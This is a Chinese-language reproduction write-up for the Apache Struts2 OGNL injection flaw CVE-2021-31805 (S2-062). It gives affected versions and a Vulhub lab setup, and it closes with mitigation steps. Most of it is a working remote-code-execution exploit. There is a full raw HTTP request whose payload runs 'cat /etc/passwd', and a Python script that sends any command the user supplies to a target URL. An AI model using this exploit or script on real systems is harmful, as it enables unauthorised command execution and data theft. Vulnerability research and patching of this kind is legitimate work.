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声明

本篇文章仅用于技术研究和漏洞复现，切勿从事非法渗透，造成任何影响与本作者无关，切记！

前言

Apache 官方发布了 Apache Struts2 的风险通告，漏洞编号为 CVE-2021-31805，可能会导致远程代码执行。

一、漏洞描述

此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整，导致输入验证不正确。

如果开发人员使用%{…} 语法进行强制 OGNL 解析，仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

二、漏洞原理

开发人员使用%{…} 语法进行强制 OGNL 解析，有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

三、影响版本

• Struts 2.0.0 - Struts 2.5.29

四、安全版本

• Struts >= 2.5.30

五、漏洞细节分析

• 参考链接：https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

六、本地复现

• 复现环境：Vulhub /Struts2 /s2-061 版本->Struts2：2.5.25
• 靶机：KALI

启动环境

docker ps

访问目标地址

漏洞EXP

POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

执行结果

Py脚本测试

import requests
from lxml import etree
import argparse

def poc(url):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("发现漏洞")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("POC检测失败")

def EXP(url,cmd):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("命令回显")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("EXP检测失败")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='S2-062验证')
    parser.add_argument('--url', help="要验证的URL")
    parser.add_argument('--cmd',help="你想执行的命令",default="")
    args = parser.parse_args()
    if args.cmd !="":
        EXP(args.url,args.cmd)
    else:
        poc(args.url)

测试结果如下

七、漏洞修复

缓解措施
1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估，因为“value”属性不存在并且它试图填充该属性。因此，通过给所有属性一个空白值 =“”，这将有助于缓解这个问题。（例如：<s:label name="%{skillName}" value="" />

2、将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。

厂商已发布新版本，请及时更新Struts至2.5.30或更高版本!